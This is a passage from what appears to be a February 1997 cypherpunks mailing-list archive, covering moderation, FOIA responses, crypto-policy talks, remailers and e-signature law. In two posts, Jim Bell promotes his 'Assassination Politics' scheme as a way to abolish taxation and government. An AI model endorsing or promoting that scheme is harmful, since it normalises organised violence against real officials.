out the source code in one of those fonts and mail that.  This is not as
data intensive as the other way, but at least it can be argued that it can
be read by an unaided person.
That way, on the other end, the text can be scanned in directly, using a
modified form of check clearing software, and converted into electronic
media, sans errors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Voorhees <mark@infolawalert.com>
Date: Wed, 5 Feb 1997 14:56:42 -0800 (PST)
To: "mclow@owl.csusm.edu>
Subject: Re: Deloitte-Touche?
Message-ID: <199702052256.OAA06322@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote:

>It wasn't really what he said that amazed me, because
>I had heard most of it (in bits and pieces) before. It
>was presenting it all in a package, in an emotional
>manner, by an elderly, conseratively dressed
>accountant who was representing a large
>corporation whose job it is to help people obey the
>government.


I'm almost certain that Murray is a consultant rather than
or in addition to an accountant. He's been saying these things
for years at conferences, in papers, on mailing lists, etc.

Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:57:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Edited Edupage, 4 February 1997
Message-ID: <199702052257.OAA06344@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"educom@educom.unc.edu"  5-FEB-1997 01:10:14.09
To:	IN%"edupage@elanor.oit.unc.edu"  "EDUCOM Edupage Mailing List"

>************************************************************
>Edupage, 4 February 1997.  Edupage, a summary of news about information
>technology, is provided three times a week as a service by Educom, a
>Washington, D.C.-based consortium of leading colleges and universities
>seeking to transform education through the use of information technology.
>************************************************************

>GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET
>Microsoft's Bill Gates:  "It's always surprising how old concepts carry over
>into the new medium.  It's overly idealistic to act like, Oh, the Internet
>is the one place where people should be able to do whatever they wish:
>present child pornography, do scams, libel people, steal copyrighted
>material.  Society's values have not changed fundamentally just because it's
>an Internet page.  Take copyright.  Sure, there should be some
>clarifications about copyright, but the old principles work surprisingly
>well in the new medium.  Anybody who says you have to start over -- I don't
>agree with that."  (George Feb 97)

	Looks like he hasn't thought about enforcement problems, which
may fortunately prevent the application of unnecessary laws to the 'net.

>CULTURE CLASHES ON THE INTERNET
>At a session of the World Economic Forum in Davos, Switzerland, the issue of
>censorship on the Internet was debated from East/West perspectives, with the
>Eastern view represented by such countries as Singapore, Iran, and Egypt.
>Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to
>stop the free flow of information, you must ask yourself what is possible.
>The usual answer from politicians is we need international rules.  I say,
>forget it.  It won't happen."  Iranian mathematics professor Mohammed
>Lasijani countered:  "In the west, the issue is sometimes how to globalise
>liberalism:  how to export an ideology.  I am not a liberal, and I do not
>believe liberalism is the only way to a decent life."  (Financial Times 4
>Feb 97)

	Well, yes, neither did Adolf Hitler. Sorry, cultural differences
won't wash; individual liberties are more important than culture or
national sovreignty.

>Edupage is written by John Gehl <gehl@educom.edu> & Suzanne Douglas
><douglas@educom.edu>.  Voice:  404-371-1853, Fax: 404-371-8057.

>Technical support is provided by Information Technology Services at the
>University of North Carolina at Chapel Hill.

>**********************************************************
>Edupage ... is what you've just finished reading.  To subscribe to Edupage:
>send mail to: listproc@educom.unc.edu with the message:  subscribe edupage
>Edgar Allan Poe (if your name is Edgar Allan Poe;  otherwise, substitute
>your own name).  To unsubscribe send a message to: listproc@educom.unc.edu
>with the message: unsubscribe edupage.   (If you have subscription problems,
>send mail to manager@educom.unc.edu.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:56:59 -0800 (PST)
To: mclow@owl.csusm.edu
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702052256.OAA06332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mclow@owl.csusm.edu"  "Marshall Clow"  5-FEB-1997 04:04:13.13

>At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>>
>>If I might make a suggestion:
>>
>>Some people want moderation. That's fine, I've never been very big on
>>letting other people choose what I read, but some people want it.
>>
>>For those who want it, let someone moderate the list for as long as
>>they care to do it. Approved messages get a "X-sandy-approved"
>>header. The responsibility for setting up a filter to toss everything
>>that doesn't have the header is the responsibility of the end user.
>>Toad will need to filter incoming posts to make sure they don't come
>>"pre-approved", but that's the only hole I can think of.
>>
>>Everyone gets all of the Cypherpunks list. Those who want moderation
>>filter the unapproved posts, those who want all of it get all of it.
>>
>>Hopefully, this will make (almost) everyone happy.
>>
>I like this idea.
>However, I would suggest an additional refinement:
>	Implement a cypherpunks-moderated list which
>is all the 'approved' messages. This way, people who wish
>to have the benefits of a filtered list are happy, people who
>wish to have posts rated for them (but be able to check on
>the "rater") are happy, and people who wish to see every
>message are happy.
>
>(I know that John has concerns about toad's mail capacity,
>and this may be too big a load)

	Lance's offer for informix to host the unmoderated
version of the list may be of assistance here.

>ObCrypto policy:
>	Was anyone else besides me amazed by the guy
>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>last week? I mean, he all but advocated violent overthrow of
>the government. D-T is the most "establishment" of the big-6
>accounting firms, last time that I looked.

	What all did he have to say?
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:56:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702052256.OAA06324@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"jer+@andrew.cmu.edu"  "Jeremiah A Blatz"  5-FEB-1997 06:54:01.96

>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

	Umm... try reading list-managers for a while on AOL cluelessness
for mailing lists. The Usenet AOL undesirables also do things like reading
AOL's ever-so-helpful directory of mailing lists (some list managers have
asked to have their list taken _off_ of this directory).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 5 Feb 1997 16:26:02 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060026.QAA07528@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In soc.culture.russian.moderated, the moderation bot has a special
feature that allows anonymous posters to establish and maintain
their "identities" and reputations.

igor

Rabid Wombat wrote:
> 
> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 17:40:24 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702060140.RAA08924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote:
>At 12:40 AM 2/5/1997, Greg Broiles wrote:
>> To date, I have received three responses: one from the SF office of the
FBI,
>> indicating that they have no records responsive to my request; one from
the
>> NSA, indicating that they are processing my request, and one from the
Secret
>> Service, asking for a copy of my signature. (I've got no clue why they
want
>> that; unless I screwed up, I believe my initial request was signed.)
>
>Have these organizations been known to lie?  What penalties does
>the organization or its employees face when they do so?  Have these
>penalties ever been applied?

Yes, various law enforcement agencies and intelligence agencies have been
willing to lie to the American public (and the world at large) from time to
time :) Pragmatically, the only penalty that the organization(s) and
individuals face is political, e.g., cuts in funding or loss of employment
due to public humiliation/embarrassment.

>Also, which exceptions in the FOIA law would allow them to respond
>dishonestly?

They are allowed to respond that "no records exist" even if records do exist,
where:

(1)	The records relate to an active criminal investigation, the subject of
the investigation is unaware of the investigation, and the disclosure of the
existence of records would likely disrupt law enforcement activity; (5 USC
552 (c)(1))

(2)	The records relate to a confidential informant, and the disclosure of the
existence of the records would tend to reveal the identity of the informant
(e.g., I suspect Joe Blow is an informant, so I make a FOIA request for
information gained from confidential informant Joe Blow; even if I receive
only blacked-out pages, the fact that the records exist tells me something
about Joe) (5 USC 552 (c)(2))

(3)	The records are classified, held by the FBI, and pertain to intelligence,
counterintelligence, or international terrorism. (5 USC 552 (c)(3))

They may also withhold information in other circumstances, but are not
otherwise allowed to say that "no records exist".

(There's something surreal about presuming careful attention to tiny legal
details from organizations which perpetrated debacles like COINTELPRO, Waco,
Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes
something interesting is released, e.g.,
<http://www.epic.org/privacy/wiretap/Scowcroft.gif>.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp
UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne
PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E
4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc
da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO
LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A==
=KAj+
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 19:40:51 -0800 (PST)
To: "P.J. Westerhof" <cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060340.TAA11391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote:
>At 18:12 4-02-97 -0800, you wrote:
>>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>>Crazy."  Computer science major, BTW.
>>
>He is quite a singer too (at least he was some years ago on Dutch TV).
>Perhaps that made the difference.  ;-)


He was on the fourth floor of the west parallel of East Campus, in about 
1977 as I recall.  I was on the third floor.  He was a wrestler; I heard he 
didn't have to work all that hard, he could just sit on the opponent and 
he'd win.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 19:57:50 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <cypherpunks@toad.com
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060357.TAA11777@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>My letter to Long Island Newsday regarding David Kahn's pro-GAK
>editorial was published today. You can read it at
>
>    http://www.newsday.com/mainnews/rnmi052u.htm
>
>What's odd (?) is how they editied it. I directed my comments toward
>Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
>never seen them print an editorial one way or another on GAK; does
>this mean they are taking a stand? -- Kahn is an editor at Newsday).
>
>I wrote "The greatest flaw in the argument is it's very reason,
>'criminals... are increasingly using encryption to conceal their plans
>and activities'" which they changed to "It reports...". I never
>considered an op-ed piece as "reporting", even if it states a fact.


But which "criminals," exactly, are "increasingly using encryption to 
conceal their plans and activities"?  Let's not concede this unless it's 
really true.

It would be far more accurate to say that it's likely that many people who 
are politically hostile to their government are using encryption in 
anticipation of persecution by the government, persecution that could easily 
come in the form of criminal charges.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Corey Minter <cminter@mipos2.intel.com>
Date: Wed, 5 Feb 1997 19:56:09 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: mail list / sequence number & signature
Message-ID: <199702060356.TAA11738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Have the list maintainers ever considered either or both of the
following...

(Sorry in advance if this has been brought up sometime in the past.)

o adding a digital signature from "owner-cypherpunks@toad.com", so
  someone can't mass mail the mailing list and make it appear that
  the message came from toad.com.

    I just tried to figure out if the id in the header is in any order
    but I couldn't tell.  I have already deleted many messages so some
    numbers are missing anyway.

o adding a sequence number to every message which comes through
  toad.com, so recipients can easily notice if mail is be
  accidentially or intentionally filtered by their service provider or
  any other forces.  At the same time, you could add the current
  numbers for flame vs.  non-flame.  This would help end all the
  bandwidth wasted on people speculating about the numbers.

    say there are X total messages, Y non-flames, and Z flames then
    the appearance to subscriber (either in the subject or some
    header field) could be...

                                list
                   
        type      | all                 non-flame           flame
        ----      | ---                 ---------           -----
        non-flame | X (non-flame Y)     Y (all X)
        flame     | X (flame Z)                             Z (all X)

-- 
Of course... these are my opinions, not my employer's.
______________________________________________________________________
Corey Minter                |
cminter@mipos2.intel.com    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060138.RAA08870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.

Post as "nobody@nowhere.net", but mention e-mail address for replies
in the body of the article (or the signature).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:42:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702060142.RAB08939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Marshall Clow <mclow@owl.csusm.edu> writes:

> Several people wrote:
> >I wrote:
> >>ObCrypto policy:
> >>        Was anyone else besides me amazed by the guy
> >>from Deloitte-Touche at the Internet Privacy Coalition luncheon
> >>last week? I mean, he all but advocated violent overthrow of
> >>the government. [...]
> >
> >For the benefit of those of us who were not at this luncheon (probably
> >not even in the same country), could you please say more about this,
> >Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
> >
> After a while, I stopped taking notes, because I was so astounded at
> what he was saying.
> (Maybe someone with more complete notes could post a better summary)
> 
> But, here a brief overview of the luncheon:
> 
> Last Wednesday, January 29th, the Internet Privacy Coalition had
> a "policy lunch" in San Francisco. It was in one of the hotels hosting
> the RSA conference, and at the same time that the conference was
> breaking for lunch, so it was easy for attendees to "switch lunches".
> 
> The speakers (as I remember, apologies to any I miss) were:
> 	Whit Diffie
> 	John Gilmore
> 	Kenneth Bass (counsel in Karn vs. Dept of State)
> 	Herb Lin (who ran the NRC staff for the crypto study)
> 	Marc Rotenberg
> 	William Hugh Murray (Deloitte & Touche)
> 	and a couple others that I missed, as I left early.
> 
> Mr. Murray gave a long, impassioned speech.
> 
> He said that the government is going to crack down on
> domestic possession and use of crypto, that they
> were looking to increase their wiretapping capabilities
> 100-fold, and so on.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.
> 
> [ My father was an accountant. He worked for
> Deloitte-Touche, in fact. I don't expect accountants
> to be passionate about government regs, and
> especially not to advocate disobediance. Maybe
> that's why this affected me so strongly. ]
> 
> -- Marshall
> 
> Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>
> 
> Warning: Objects in calendar are closer than they appear.
> 
> 

I think Bill Murray might take offense at being called an accountant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 5 Feb 1997 19:56:02 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702060356.TAA11723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/97 -0800, Greg Broiles wrote:
>I'm not sure what I think about the response from the SF FBI branch - it
>seems unlikely that they'd never have paid any attention to the list, given
>the media coverage in Wired and other places.

My attorney used to fly planes with nuclear cargo. Another friend of mine
has been visited several times by the FBI. In either case, the FBI claimed
upon receiving an FOIA request that they have no record on either person.
Does anybody here believe that the USAF would let pilots take off with
nukes on board without ever conducting a background investigation (which
are handled by the FBI)? I didn't think so.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Wed, 5 Feb 1997 19:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpmail 4.5
Message-ID: <199702060355.TAA11714@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


you wrote:

There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
can someone clear this up?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@ccmsd.chem.uga.edu>
Date: Wed, 5 Feb 1997 17:39:06 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: mail-to-news fun
Message-ID: <199702060139.RAA08879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:

> Alt.anonymous.messages is an interesting alternative, but one of the 
> ideals of posting news from a remailer is to allow people to 
> broadcast politically incorrect speech anonymously, avoiding censorship
> and retribution as much as possible.  This means letting people
> call Lee Kwan Yew a fascist, complain that OJ's a space alien,
> identify the person Hillary paid to off Vince Foster,
> or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
> Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

Hey, I agree. I allowed unlimited USENET posting from dustbin back in
October. I almost had to shut the whole remailer down and the only reason
I didn't was that I was able to hide it as a middleman. That's partly
because dickwads were (for example) posting spams about Tim May on
cypherpunks, and some people were complaining to my ISP.

> On several other hands, though, even if you limit news posting,
> trolls can abuse a remailer by sending email to large mailing lists.
> It'd certainly never happen to Cypherpunks :-), but some other
> mailing lists might attract trolls, and it's not easy to
> identify them in advance (though I suppose adding a disclaimer
> and cutmarks any time you post to something other than a 
> known remailer is a partial solution.)

I'm working (slowly, as I have time) on some new remailer software which
blocks by default and notifies the recipient that he can claim his
anonymous mail as soon as he "signs" the usage agreement (magic cookie
exchange).

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 21:25:59 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060525.VAA13486@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:35 PM 2/5/97 -0800, Sean Roach wrote:
>At 09:09 PM 2/4/97 -0800, jim bell wrote:
>>However, fortunately I don't think it would make any difference in the 
>>overall effects.    While AP would eliminate the taxation which is commonly 
>>thought of as the main way a "rich person" loses assets, in practice it 
>>would also shut down the well-hidden systems that allow some people to get 
>>rich (or, merely live off somebody else) "unfairly."   Government agents 
>>come to mind, of course.
>>
>The money doesn't necessarily come from taxation, the owner of a business
>takes a cut of whatever money is made even if that person is unproductive.
>The tyrant would be the owner of the industry. 
 
The kind of effects I'm thinking of are primarily the "military spending" 
situations, where:

1.  Large numbers of potentially competent and useful people get put into 
useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
(Those people who still think military spending is really necessary 
obviously haven't read AP.)

2.  Large amounts of money are spent on military hardware, money which goes 
to fund  people who would otherwise develop useful products in the 
non-government private sector.

3.  The patent system decreases competition, increases profits and prices in 
the marketplace due to government actions to allow and enforce monopolies.

4.  Government employees are paid more for their activities than they would 
receive in the private sector.  Ironically, in this case an 
"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
middle level government manager to his counterpart in private industry, 
because to postulate there is such a government-job assumes that the 
private-sector would do it post-AP.  

 
>If you are right then governments would effectively lose the ability to tax,
>with or without representation, as most people do not agree on everything,
>like how their money is spent.  However, even now, as pointed out in some
>recent posts, our tax money is used to foreward the goals of a few, these
>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>oppostition, our money is still used to foreward the goals. 

Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
nothing would prevents individuals from continuing to fund an organization 
called a "government" so that it could do those (non-coercive) things that 
individual wants to see done.  But I think it'll be amazing how many of 
those heretofore-funded-by-govt projects (previously promoted as being 
wanted by a large fraction of the citizenry) that evaporate when the public 
is given the option to continue to fund them voluntarily.


Let's suppose, hypothetically and for vast simplification, the government 
engages in two activities, "A" and "B."   Further suppose government taxes 
from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
thought that Alphas like spending on "A",  but hate spending on "B".   
Likewise, it is figured that Betas like spending on "B", don't like spending 
on "A".    

Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
fund only "A",  while Betas" would donate money for activity "B".   Assuming 
the amount of funding for those activities was equal, you might think that 
things could go on as they already do.  But no.   The reality is that 
"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
tolerate their own money being used for both only because the "Betas" are 
similarly forced.  Add volunteerism to the whole mix, and not only would 
these two groups only fund just what they really wanted, they would soon 
discover they don't even want the level of spending they previously argued 
for, pre-AP.

In practice, those services people like will continue, but it is highly 
unlikely that they will be supply by organizations which evolve from those 
currently called "governments."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 21:41:10 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702060541.VAA13773@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote:
>
>+Put simply, "anarchy is not the lack of order.  It is the lack of
>+_orders_."
>
>    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
>    implies that everyone is imbued with that perfect sense of 
>    responsibility.

>From which hat do you pull this rabbit?

>
>+>        anarchy is only possible in an ideal world where _everyone_ 
>+>    assumes not only responsibility for themselves, but for the common 
>+>    good.  no malice, no greed, no need for assassination politics....
>
>+No, that's traditional thinking and that's wrong.  See AP part 8. 
>+Freud  believed (as "everyone" else believed, even myself, before AP)
>+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
>+AP are used to  stabilize it.  And no, no altruism is necessary for AP
>+to work as well; no  individuals are being asked to sacrifice
>+themselves for the common good.    Rather, they are given the
>+opportunity to work to achieve a reward offered,  cumulatively, by a
>+number of citizens.
>
>    aah, but that is the difference between a _pure_ anarchy and a  
>    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
>    that _noone_ lacks the necessary resonsibility to keep society 
>    moving, each individual in their own niche.

Why, exactly, is it "necessary" to "keep society moving"?   Isn't that 
somewhat of a contradiction in terms?  (particularly when you are discussing 
the subject, "anarchy."  It seems you don't really understand what the word 
"anarchy" means.   Sigh.


>   As long as there is 
>    perfect responsibility in a perfect anarchy, then there is no need 
>    for AP.

Are you saying that for  a world that has ALREADY achieved anarchy, and we 
presume "perfect responsibility," AP is not necessary to maintain this 
state?   Well, that's a rather limited assertion; some would argue it's 
practically meaningless.  

Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum 
needs no mechanism to keep it pointing straight up."?  True, perhaps, but 
how do you get that "perfectly-balanced" part right?


>    AP is a negative, or _punative_, influence; I might liken it to the 
>    Catholic Church which is a religion of fear, and an instrument of
>    political control.

Actually, it's quite the opposite:  AP is the absolute prohibition on and/or 
destruction of any "instrument of political control."

Now, to a person who thinks that the natural state of the world is a 
condition of political control (and it wouldn't be hard to understand why a 
person could come to this conclusion, given the bulk of history), the 
ABSENSE of political control "looks like" political control.

This is, obviously, akin to the optical illusion where you stare intently at 
a pattern of color on a page (the American flag is often used) for a minute 
or two, and then you suddenly glance towards a white sheet of paper on 
which, as I recall, immediately appears a complementary flag of green and 
black stripes, and black stars on a yellow field.

AP destroys the mechanisms that societies use for much political control.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:43:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: MA Electronic Records and Signature Act
Message-ID: <199702060143.RAA08991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: MA Electronic Records and Signature Act
X-orig-from: EskWIRED <eskwired@shore.net>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST)
 From: EskWIRED <eskwired@shore.net>
 To: dcsb@ai.mit.edu
 Subject: MA Electronic Records and Signature Act
 MIME-Version: 1.0
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: EskWIRED <eskwired@shore.net>



 A discussion draft of the MA Electronic Records and Signatures Act is now
 available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm.

 The draft appears to be very preliminary--entire sections are marked
 [under development].

 It is notable for its brevity, especially compared to the Utah Statute.
 Noticeably absent is any language dealing with  licensure of certification
 authorities (bravo!).

 A link is provided for submission of public comments to Ray Campbell and
 Dan Greenwood.


            =========================================================
                     ---------EskWIRED@shore.net------------
            =========================================================

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
 In the body of the message, write:  unsubscribe dcsb
 Or, to subscribe,           write:  subscribe dcsb
 If you have questions, write to me at Owner-DCSB@ai.mit.edu



--------------------------------------------------
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:40:25 -0800 (PST)
To: cypherpunks@toad.com
